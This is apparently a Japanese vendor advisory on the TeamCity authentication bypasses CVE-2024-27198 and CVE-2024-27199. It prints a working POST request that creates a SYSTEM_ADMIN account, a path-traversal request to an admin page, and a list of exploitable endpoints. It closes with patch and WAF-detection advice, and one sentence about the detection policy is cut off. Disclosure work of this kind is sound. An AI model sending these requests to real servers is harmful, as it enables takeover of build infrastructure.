1. 概要
TeamCityは、JetBrainsのビルド管理および継続的インテグレーション・サーバーであり、本記事では、最近このサービスで発見された認証バイパス脆弱性CVE-2024-27198およびCVE-2024-27199についての分析を要約する。
ソース : https://www.helpnetsecurity.com/2024/03/21/exploiting-cve-2024-27198/
2. 攻撃タイプ
2024年3月、JetBrainsはTeamCityで発見されたCVE-2024-27198とCVE-2024-27199に対するパッチをリリースし、Rapid7は脆弱性の分析を発表した。
2-1. CVE-2024-27198
JetBrains社のTeamCityでは、HTTPウェブサーバをポート8111で実行することができ、細工されたURIと特定のクラスのリクエスト処理でリクエストを送信すると、認証なしで認証が必要なエンドポイントにアクセスできる。
この脆弱性を利用して認証が必要なエンドポイントにアクセスするには、以下の要件を満たす必要があります。
- そのサーバーに存在しない URL をリクエストする。ほとんどのPoCでは、これは/hax URLをリクエストすることで達成されるようです。
- アクセスしたいエンドポイントを ;.jsp= パラメータで作成する。
- URLの末尾が ;.jsp になるようにリクエストを書く。
POST /hax?jsp=/app/rest/users.jsp HTTP/1.1
Content-Length: 177
Content-Type: application/json
Host: 172.29.228.65:8111
User-Agent: HTTPie
{
"username": "haxor",
"password": "haxor",
"email": "haxor",
"roles": {
"role": [
{
"roleId": "SYSTEM_ADMIN",
"scope": "g"
}
]
}
}
2-2. CVE-2024-27199
JetBrains の TeamCity HTTP ウェブサーバには、認証を必要としないエンドポイントがいくつかあります。パス トラバーサル構文 ../ を利用して、認証を必要とするエンドポイントにアクセスし、システム設定を変更したり機密情報にアクセスしたりすることが可能です。
以下のエンドポイントは認証を必要としないため、悪用可能です。
/res/
/update/
/.well-known/acme-challenge/
これらのエンドポイントで./構文を利用することで一般的に攻撃されるエンドポイントは以下の通りである。
/app/availableRunners
/app/https/settings/setPort
/app/https/settings/certificateInfo
/app/https/settings/defaultHttpsPort
/app/https/settings/fetchFromAcme
/app/https/settings/removeCertificate
/app/https/settings/uploadCertificate
/app/https/settings/termsOfService
/app/https/settings/triggerAcmeChallenge
/app/https/settings/cancelAcmeChallenge
/app/https/settings/getAcmeOrder
/app/https/settings/setRedirectStrategy
/app/pipeline
/app/oauth/space/createBuild.html
攻撃構文の例:
GET /res/../admin/diagnostic.jsp HTTP/1.1
Host: 172.29.228.65:8111
User-Agent: HTTPie
3. 対策
JetBrains社より、これらの脆弱性に対するパッチがリリースされていますので、TeamCity On-Premisesサーバをバージョン2023.11.4以降にアップデートすることで対応可能です。
弊社のAIWAF製品では、CVE-2024-27198を「2186: また、CVE-2024-27199 は「Directory Access Detection」ポリシーで正常に検出されます。
4. 結論
多くの組織で利用されている CI/CD 製品である JetBrains TeamCity に発見されたこれらの脆弱性は容易に悪用可能であるため、早急に最新バージョンにアップデートする必要がある。
当社のAIWAF製品は、JetBrains TeamCityやその他の製品の脆弱性に対応するパターンを開発しており、今後も関連する脆弱性が発見された場合には迅速に対応していく。